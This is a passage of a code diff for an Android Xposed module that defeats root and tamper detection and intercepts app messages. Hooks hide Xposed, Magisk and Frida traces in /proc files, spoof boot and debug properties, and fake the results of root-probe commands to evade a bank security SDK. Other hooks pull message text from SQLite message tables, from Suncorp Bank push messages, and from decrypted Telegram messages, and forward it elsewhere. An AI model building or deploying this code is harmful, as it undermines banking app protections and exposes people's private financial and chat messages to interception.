||||
}
|
||||
if ("/proc/self/status".equals(path)) {
|
||||
return text.replaceAll("(?m)^TracerPid:\\s*[1-9]\\d*",
|
||||
"TracerPid:\t0");
|
||||
}
|
||||
return text;
|
||||
}
|
||||
|
||||
private static boolean shouldHideMapsLine(String line) {
|
||||
if (line == null || line.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
String lower = line.toLowerCase(Locale.US);
|
||||
for (String marker : MAPS_HIDE_MARKERS) {
|
||||
if (lower.contains(marker)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.util.List;
|
||||
import java.util.Locale;
|
||||
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
|
||||
/**
|
||||
* 拦截 root 探测命令时返回「空 / 失败」假进程,避免抛异常被 SHPSSDK 记为 tamper。
|
||||
*/
|
||||
public final class ProbeGuard {
|
||||
|
||||
private static final String TAG = "notiMessageHook/ProbeGuard";
|
||||
|
||||
private ProbeGuard() {
|
||||
}
|
||||
|
||||
public static boolean isBlockedCommand(String command) {
|
||||
if (command == null || command.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
String lower = command.toLowerCase(Locale.US);
|
||||
return lower.contains(" magisk")
|
||||
|| lower.contains("/su")
|
||||
|| lower.startsWith("su")
|
||||
|| lower.contains("which su")
|
||||
|| lower.contains("getprop ro.debuggable")
|
||||
|| lower.contains("busybox")
|
||||
|| lower.equals("su");
|
||||
}
|
||||
|
||||
public static boolean isBlockedCommand(List<String> commands) {
|
||||
if (commands == null || commands.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
return isBlockedCommand(String.join(" ", commands));
|
||||
}
|
||||
|
||||
public static Process fakeFailedProcess(String reason) {
|
||||
XposedBridge.log(TAG + " fake probe process: " + reason);
|
||||
return new FakeProcess();
|
||||
}
|
||||
|
||||
private static final class FakeProcess extends Process {
|
||||
@Override
|
||||
public OutputStream getOutputStream() {
|
||||
return OutputStream.nullOutputStream();
|
||||
}
|
||||
|
||||
@Override
|
||||
public InputStream getInputStream() {
|
||||
return new ByteArrayInputStream(new byte[0]);
|
||||
}
|
||||
|
||||
@Override
|
||||
public InputStream getErrorStream() {
|
||||
return new ByteArrayInputStream(new byte[0]);
|
||||
}
|
||||
|
||||
@Override
|
||||
public int waitFor() {
|
||||
return 1;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int exitValue() {
|
||||
return 1;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,370 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import android.os.Build;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.Locale;
|
||||
import java.util.Set;
|
||||
import java.util.WeakHashMap;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* 过滤 /proc/self/maps 等敏感路径,隐藏 Xposed / Magisk / Zygisk 库名。
|
||||
*/
|
||||
public final class ProcMapsFilterHook {
|
||||
|
||||
private static final String TAG = "notiMessageHook/ProcMaps";
|
||||
|
||||
private static final Set<String> PROC_SENSITIVE = new HashSet<>(Arrays.asList(
|
||||
"/proc/self/maps",
|
||||
"/proc/version",
|
||||
"/proc/self/status",
|
||||
"/proc/mounts",
|
||||
"/proc/self/attr/current",
|
||||
"/proc/self/mountinfo"
|
||||
));
|
||||
|
||||
private static final String[] MAPS_HIDE_MARKERS = {
|
||||
"xposed", "lsposed", "edxposed", "magisk", "frida", "substrate",
|
||||
"libpine", "pine.so", "zygisk", "riru", "shamiko", "notimessage",
|
||||
"miraclegarden", "libbytehook", "libgadget", "libfrida", "libriru",
|
||||
"liblspd", "libzygisk", "libvector", "zygisk_vector", "vector",
|
||||
};
|
||||
|
||||
private static final String FAKE_SELINUX_CTX =
|
||||
"u:r:untrusted_app:s0:c512,c768";
|
||||
|
||||
private static final WeakHashMap<Object, String> TRACKED_INPUTS = new WeakHashMap<>();
|
||||
|
||||
private static volatile boolean installed = false;
|
||||
|
||||
private ProcMapsFilterHook() {
|
||||
}
|
||||
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (installed) {
|
||||
return;
|
||||
}
|
||||
installed = true;
|
||||
hookProcAccess(lpparam);
|
||||
hookProcViaRandomAccessFile(lpparam);
|
||||
hookBufferedReader(lpparam);
|
||||
hookSystemProperties(lpparam);
|
||||
XposedBridge.log(TAG + " installed for " + lpparam.packageName);
|
||||
}
|
||||
|
||||
private static void hookProcAccess(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookConstructor(
|
||||
FileInputStream.class,
|
||||
String.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
String path = normalizeProcPath((String) param.args[0]);
|
||||
if (path != null) {
|
||||
TRACKED_INPUTS.put(param.getResult(), path);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " FileInputStream hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookConstructor(
|
||||
FileInputStream.class,
|
||||
File.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
File file = (File) param.args[0];
|
||||
if (file != null) {
|
||||
String path = normalizeProcPath(file.getAbsolutePath());
|
||||
if (path != null) {
|
||||
TRACKED_INPUTS.put(param.getResult(), path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
XC_MethodHook readFilter = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
String path = TRACKED_INPUTS.get(param.thisObject);
|
||||
if (path == null || param.getResult() == null) {
|
||||
return;
|
||||
}
|
||||
if (param.getResult() instanceof Integer) {
|
||||
int read = (Integer) param.getResult();
|
||||
if (read <= 0 || param.args.length == 0 || !(param.args[0] instanceof byte[])) {
|
||||
return;
|
||||
}
|
||||
byte[] buf = (byte[]) param.args[0];
|
||||
int off = param.args.length > 1 ? (Integer) param.args[1] : 0;
|
||||
filterProcBytes(path, buf, off, read);
|
||||
} else if (param.getResult() instanceof byte[]) {
|
||||
byte[] data = (byte[]) param.getResult();
|
||||
param.setResult(filterProcBytesAll(path, data));
|
||||
} else if (param.getResult() instanceof String) {
|
||||
param.setResult(filterProcText(path, (String) param.getResult()));
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
FileInputStream.class, "read", byte[].class, readFilter);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
FileInputStream.class, "read", byte[].class, int.class, int.class, readFilter);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " FileInputStream.read hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"java.nio.file.Files",
|
||||
lpparam.classLoader,
|
||||
"readAllBytes",
|
||||
"java.nio.file.Path",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (!(param.getResult() instanceof byte[])) {
|
||||
return;
|
||||
}
|
||||
String norm = normalizeProcPath(String.valueOf(param.args[0]));
|
||||
if (norm != null) {
|
||||
param.setResult(filterProcBytesAll(
|
||||
norm, (byte[]) param.getResult()));
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookProcViaRandomAccessFile(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookConstructor(
|
||||
"java.io.RandomAccessFile",
|
||||
lpparam.classLoader,
|
||||
String.class,
|
||||
String.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
String path = normalizeProcPath((String) param.args[0]);
|
||||
if (path != null) {
|
||||
TRACKED_INPUTS.put(param.getResult(), path);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"java.io.RandomAccessFile",
|
||||
lpparam.classLoader,
|
||||
"read",
|
||||
byte[].class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
String path = TRACKED_INPUTS.get(param.thisObject);
|
||||
if (path == null || !(param.getResult() instanceof Integer)) {
|
||||
return;
|
||||
}
|
||||
int read = (Integer) param.getResult();
|
||||
if (read > 0 && param.args[0] instanceof byte[]) {
|
||||
filterProcBytes(path, (byte[]) param.args[0], 0, read);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookBufferedReader(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
BufferedReader.class,
|
||||
"readLine",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (!(param.getResult() instanceof String)) {
|
||||
return;
|
||||
}
|
||||
String line = (String) param.getResult();
|
||||
if (shouldHideMapsLine(line)) {
|
||||
param.setResult(readNextSafeLine((BufferedReader) param.thisObject));
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " BufferedReader hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static String readNextSafeLine(BufferedReader reader) {
|
||||
try {
|
||||
String line;
|
||||
while ((line = reader.readLine()) != null) {
|
||||
if (!shouldHideMapsLine(line)) {
|
||||
return line;
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static void hookSystemProperties(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
Class<?> sp = XposedHelpers.findClass("android.os.SystemProperties", lpparam.classLoader);
|
||||
for (java.lang.reflect.Method method : sp.getDeclaredMethods()) {
|
||||
if (!"get".equals(method.getName())) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (param.args.length == 0 || !(param.args[0] instanceof String)) {
|
||||
return;
|
||||
}
|
||||
String key = (String) param.args[0];
|
||||
String spoofed = spoofProperty(key, param.getResult());
|
||||
if (spoofed != null) {
|
||||
param.setResult(spoofed);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " SystemProperties hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static String spoofProperty(String key, Object current) {
|
||||
if ("ro.debuggable".equals(key)) {
|
||||
return "0";
|
||||
}
|
||||
if ("init.svc.adbd".equals(key) || "init.svc.adb".equals(key)) {
|
||||
return "stopped";
|
||||
}
|
||||
if ("service.adb.root".equals(key)) {
|
||||
return "0";
|
||||
}
|
||||
if ("ro.secure".equals(key)) {
|
||||
return "1";
|
||||
}
|
||||
if ("ro.build.tags".equals(key)) {
|
||||
if (current instanceof String && String.valueOf(current).contains("test-keys")) {
|
||||
return "release-keys";
|
||||
}
|
||||
}
|
||||
if ("ro.boot.verifiedbootstate".equals(key)) {
|
||||
return "green";
|
||||
}
|
||||
if ("ro.boot.vbmeta.device_state".equals(key)
|
||||
|| "vendor.boot.vbmeta.device_state".equals(key)) {
|
||||
return "locked";
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static String normalizeProcPath(String path) {
|
||||
if (path == null) {
|
||||
return null;
|
||||
}
|
||||
String norm = path.trim();
|
||||
for (String p : PROC_SENSITIVE) {
|
||||
if (norm.equals(p) || norm.endsWith(p)) {
|
||||
return p;
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static byte[] filterProcBytesAll(String path, byte[] data) {
|
||||
return filterProcText(path, new String(data)).getBytes();
|
||||
}
|
||||
|
||||
private static void filterProcBytes(String path, byte[] buf, int off, int len) {
|
||||
String text = new String(buf, off, len);
|
||||
String filtered = filterProcText(path, text);
|
||||
if (filtered.equals(text)) {
|
||||
return;
|
||||
}
|
||||
byte[] out = filtered.getBytes();
|
||||
int copy = Math.min(len, out.length);
|
||||
System.arraycopy(out, 0, buf, off, copy);
|
||||
if (copy < len) {
|
||||
Arrays.fill(buf, off + copy, off + len, (byte) 0);
|
||||
}
|
||||
}
|
||||
|
||||
private static String filterProcText(String path, String text) {
|
||||
if ("/proc/self/maps".equals(path) || "/proc/self/mountinfo".equals(path)
|
||||
|| "/proc/mounts".equals(path)) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (String line : text.split("\n")) {
|
||||
if (!shouldHideMapsLine(line)) {
|
||||
if (sb.length() > 0) {
|
||||
sb.append('\n');
|
||||
}
|
||||
sb.append(line);
|
||||
}
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
if ("/proc/self/attr/current".equals(path)) {
|
||||
String lower = text.toLowerCase(Locale.US);
|
||||
if (lower.contains("magisk") || lower.contains("su") || lower.contains("zygisk")
|
||||
|| lower.contains("xposed")) {
|
||||
return FAKE_SELINUX_CTX;
|
||||
}
|
||||
return text;
|
||||
}
|
||||
if ("/proc/version".equals(path)) {
|
||||
return text.replace("dirty", "").replace("test-keys", "release-keys");
|
||||
}
|
||||
if ("/proc/self/status".equals(path)) {
|
||||
return text.replaceAll("(?m)^TracerPid:\\s*[1-9]\\d*",
|
||||
"TracerPid:\t0");
|
||||
}
|
||||
return text;
|
||||
}
|
||||
|
||||
private static boolean shouldHideMapsLine(String line) {
|
||||
if (line == null || line.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
String lower = line.toLowerCase(Locale.US);
|
||||
for (String marker : MAPS_HIDE_MARKERS) {
|
||||
if (lower.contains(marker)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,182 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import java.io.File;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.Locale;
|
||||
import java.util.Set;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* Root / Hook / 模拟器检测通用绕过辅助。
|
||||
*/
|
||||
public final class RootBypassHelper {
|
||||
|
||||
private static final String TAG = "notiMessageHook/RootBypass";
|
||||
|
||||
private static final Pattern UNSAFE_NAME = Pattern.compile(
|
||||
".*(root|jail|hook|frida|xposed|lsposed|emulator|simulator|debug|tamper|"
|
||||
+ "integrity|unsafe|risk|magisk|su|cheat|mock).*",
|
||||
Pattern.CASE_INSENSITIVE
|
||||
);
|
||||
|
||||
private static final Pattern SAFE_NAME = Pattern.compile(
|
||||
".*(safe|secure|valid|passed|pass|clean|trusted|normal|ok).*",
|
||||
Pattern.CASE_INSENSITIVE
|
||||
);
|
||||
|
||||
private static final Set<String> ROOT_PATH_MARKERS = new HashSet<>(Arrays.asList(
|
||||
"/su",
|
||||
"magisk",
|
||||
"supersu",
|
||||
"busybox",
|
||||
"/xbin/su",
|
||||
"/sbin/su",
|
||||
"de.robv.android.xposed",
|
||||
"org.lsposed",
|
||||
"com.topjohnwu.magisk"
|
||||
));
|
||||
|
||||
private RootBypassHelper() {
|
||||
}
|
||||
|
||||
public static void hookSecurityClass(XC_LoadPackage.LoadPackageParam lpparam, String className) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
hookMethodIfSecurityCheck(className, method);
|
||||
}
|
||||
XposedBridge.log(TAG + " hooked methods in " + className);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip class " + className + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookMethodIfSecurityCheck(String className, Method method) {
|
||||
Class<?> returnType = method.getReturnType();
|
||||
if (returnType != boolean.class
|
||||
&& returnType != Boolean.class
|
||||
&& returnType != int.class
|
||||
&& returnType != Integer.class) {
|
||||
return;
|
||||
}
|
||||
|
||||
String name = method.getName();
|
||||
if (!looksLikeSecurityMethod(name) && !className.toLowerCase(Locale.US).contains("safemode")
|
||||
&& !className.toLowerCase(Locale.US).contains("risk")) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (returnType == boolean.class || returnType == Boolean.class) {
|
||||
param.setResult(shouldReturnTrue(name));
|
||||
} else {
|
||||
param.setResult(0);
|
||||
}
|
||||
}
|
||||
});
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " hook failed " + className + "#" + name + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean looksLikeSecurityMethod(String name) {
|
||||
return UNSAFE_NAME.matcher(name).matches() || SAFE_NAME.matcher(name).matches();
|
||||
}
|
||||
|
||||
private static boolean shouldReturnTrue(String methodName) {
|
||||
if (UNSAFE_NAME.matcher(methodName).matches()) {
|
||||
return false;
|
||||
}
|
||||
if (SAFE_NAME.matcher(methodName).matches()) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public static void hookFileExists(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
File.class,
|
||||
"exists",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
File file = (File) param.thisObject;
|
||||
if (file == null) {
|
||||
return;
|
||||
}
|
||||
String path = file.getAbsolutePath().toLowerCase(Locale.US);
|
||||
for (String marker : ROOT_PATH_MARKERS) {
|
||||
if (path.contains(marker)) {
|
||||
param.setResult(false);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " File.exists hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
public static void hookRuntimeExec(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook blockExec = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
String cmd = null;
|
||||
if (param.args.length > 0 && param.args[0] instanceof String) {
|
||||
cmd = (String) param.args[0];
|
||||
} else if (param.args.length > 0 && param.args[0] instanceof String[]) {
|
||||
cmd = String.join(" ", (String[]) param.args[0]);
|
||||
}
|
||||
if (ProbeGuard.isBlockedCommand(cmd)) {
|
||||
param.setResult(ProbeGuard.fakeFailedProcess(cmd));
|
||||
}
|
||||
}
|
||||
};
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(Runtime.class, "exec", String.class, blockExec);
|
||||
XposedHelpers.findAndHookMethod(Runtime.class, "exec", String[].class, blockExec);
|
||||
XposedHelpers.findAndHookMethod(Runtime.class, "exec", String.class, String[].class, blockExec);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Runtime.class, "exec", String[].class, String[].class, blockExec);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Runtime.exec hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
public static void hookSystemGetProperty(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
System.class,
|
||||
"getProperty",
|
||||
String.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
String key = (String) param.args[0];
|
||||
if (key == null) {
|
||||
return;
|
||||
}
|
||||
if ("ro.debuggable".equals(key) || "ro.secure".equals(key)) {
|
||||
param.setResult("ro.secure".equals(key) ? "1" : "0");
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " System.getProperty hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import android.content.ContentValues;
|
||||
import android.content.Context;
|
||||
import android.text.TextUtils;
|
||||
|
||||
import com.miraclegarden.smsmessage.xposed.HookBridge;
|
||||
import com.miraclegarden.smsmessage.xposed.HookForwarder;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
public final class SqliteMessageHook {
|
||||
|
||||
private static final String TAG = "notiMessageHook/Sqlite";
|
||||
private static final String[] SQLITE_CLASSES = {
|
||||
"android.database.sqlite.SQLiteDatabase",
|
||||
"androidx.sqlite.db.framework.FrameworkSQLiteDatabase"
|
||||
};
|
||||
|
||||
private SqliteMessageHook() {
|
||||
}
|
||||
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
for (String sqliteClass : SQLITE_CLASSES) {
|
||||
try {
|
||||
hookInsert(lpparam, sqliteClass, "insert");
|
||||
hookInsert(lpparam, sqliteClass, "insertWithOnConflict");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip " + sqliteClass + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void hookInsert(XC_LoadPackage.LoadPackageParam lpparam,
|
||||
String className, String methodName) {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
className,
|
||||
lpparam.classLoader,
|
||||
methodName,
|
||||
String.class,
|
||||
String.class,
|
||||
ContentValues.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
handleInsert(lpparam.packageName, param);
|
||||
}
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
private static void handleInsert(String packageName, XC_MethodHook.MethodHookParam param) {
|
||||
if (param.args == null || param.args.length < 3) {
|
||||
return;
|
||||
}
|
||||
|
||||
Object tableArg = param.args[0];
|
||||
Object valuesArg = param.args[2];
|
||||
if (!(tableArg instanceof String) || !(valuesArg instanceof ContentValues)) {
|
||||
return;
|
||||
}
|
||||
|
||||
String table = ((String) tableArg).toLowerCase();
|
||||
if (!isMessageTable(table)) {
|
||||
return;
|
||||
}
|
||||
|
||||
ContentValues values = (ContentValues) valuesArg;
|
||||
String title = firstNonEmpty(values, "talker", "sender", "from", "title", "name");
|
||||
String content = firstNonEmpty(values, "content", "text", "body", "msg", "message");
|
||||
if (TextUtils.isEmpty(content)) {
|
||||
return;
|
||||
}
|
||||
|
||||
Context context = getContext(param.thisObject);
|
||||
if (context == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
HookForwarder.forward(context, packageName, title, content,
|
||||
HookBridge.SOURCE_XPOSED_SQLITE);
|
||||
}
|
||||
|
||||
private static boolean isMessageTable(String table) {
|
||||
return "message".equals(table)
|
||||
|| "messages".equals(table)
|
||||
|| table.endsWith("_message")
|
||||
|| table.contains("message");
|
||||
}
|
||||
|
||||
private static String firstNonEmpty(ContentValues values, String... keys) {
|
||||
for (String key : keys) {
|
||||
String value = values.getAsString(key);
|
||||
if (!TextUtils.isEmpty(value)) {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static Context getContext(Object database) {
|
||||
try {
|
||||
Object ctx = XposedHelpers.callMethod(database, "getContext");
|
||||
if (ctx instanceof Context) {
|
||||
return (Context) ctx;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
|
||||
try {
|
||||
Class<?> activityThread = XposedHelpers.findClass("android.app.ActivityThread", null);
|
||||
Object app = XposedHelpers.callStaticMethod(activityThread, "currentApplication");
|
||||
if (app instanceof Context) {
|
||||
return (Context) app;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import com.miraclegarden.smsmessage.xposed.HookBridge;
|
||||
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* Suncorp Bank — Kotlin 原生 App。
|
||||
* 逆向结论:au.com.suncorp.marketplace.base.application.SuncorpMessagingService#onMessageReceived
|
||||
*/
|
||||
public final class SuncorpBankMessageHook {
|
||||
|
||||
private static final String MESSAGING_SERVICE =
|
||||
"au.com.suncorp.marketplace.base.application.SuncorpMessagingService";
|
||||
|
||||
private SuncorpBankMessageHook() {
|
||||
}
|
||||
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
BankHookHelper.hookFcmService(lpparam, MESSAGING_SERVICE, HookBridge.SOURCE_XPOSED_SUNCORP);
|
||||
BankNotificationHook.install(lpparam, HookBridge.SOURCE_XPOSED_SUNCORP_NOTIFY);
|
||||
XposedBridge.log("notiMessageHook/Suncorp installed for " + lpparam.packageName);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,533 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import android.content.Context;
|
||||
import android.text.TextUtils;
|
||||
|
||||
import com.miraclegarden.smsmessage.xposed.HookBridge;
|
||||
import com.miraclegarden.smsmessage.xposed.HookForwarder;
|
||||
|
||||
import java.util.ArrayDeque;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* Telegram 专用 Hook:监听 NotificationCenter.didReceiveNewMessages,
|
||||
* 从 MessageObject 提取已解密的 messageText。
|
||||
*/
|
||||
public final class TelegramMessageHook {
|
||||
|
||||
private static final String TAG = "notiMessageHook/Telegram";
|
||||
private static final String NOTIFICATION_CENTER = "org.telegram.messenger.NotificationCenter";
|
||||
private static final String NOTIFICATIONS_CONTROLLER = "org.telegram.messenger.NotificationsController";
|
||||
private static final String MESSAGE_OBJECT = "org.telegram.messenger.MessageObject";
|
||||
private static final int DEDUP_SIZE = 512;
|
||||
|
||||
private static final ArrayDeque<String> RECENT_KEYS = new ArrayDeque<>();
|
||||
private static final HashSet<String> RECENT_SET = new HashSet<>();
|
||||
|
||||
private TelegramMessageHook() {
|
||||
}
|
||||
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
Class<?> notificationCenter = XposedHelpers.findClass(
|
||||
NOTIFICATION_CENTER, lpparam.classLoader);
|
||||
final int didReceiveNewMessages = XposedHelpers.getStaticIntField(
|
||||
notificationCenter, "didReceiveNewMessages");
|
||||
|
||||
XposedHelpers.findAndHookMethod(
|
||||
notificationCenter,
|
||||
"postNotificationName",
|
||||
int.class,
|
||||
Object[].class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
int id = (int) param.args[0];
|
||||
if (id != didReceiveNewMessages) {
|
||||
return;
|
||||
}
|
||||
Object[] args = (Object[]) param.args[1];
|
||||
if (args == null || args.length == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
Context context = getContext();
|
||||
if (context == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
for (Object arg : args) {
|
||||
if (arg instanceof List) {
|
||||
processMessageList(context, lpparam.packageName, (List<?>) arg);
|
||||
} else if (isMessageObject(arg)) {
|
||||
forwardMessageObject(context, lpparam.packageName, arg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
installNotificationsControllerHook(lpparam);
|
||||
|
||||
XposedBridge.log(TAG + " installed for " + lpparam.packageName
|
||||
+ ", didReceiveNewMessages=" + didReceiveNewMessages);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " install failed: " + t.getMessage());
|
||||
installMessageObjectFallback(lpparam);
|
||||
}
|
||||
}
|
||||
|
||||
/** NotificationCenter Hook 失败时的兜底:Hook MessageObject 构造完成后的消息。 */
|
||||
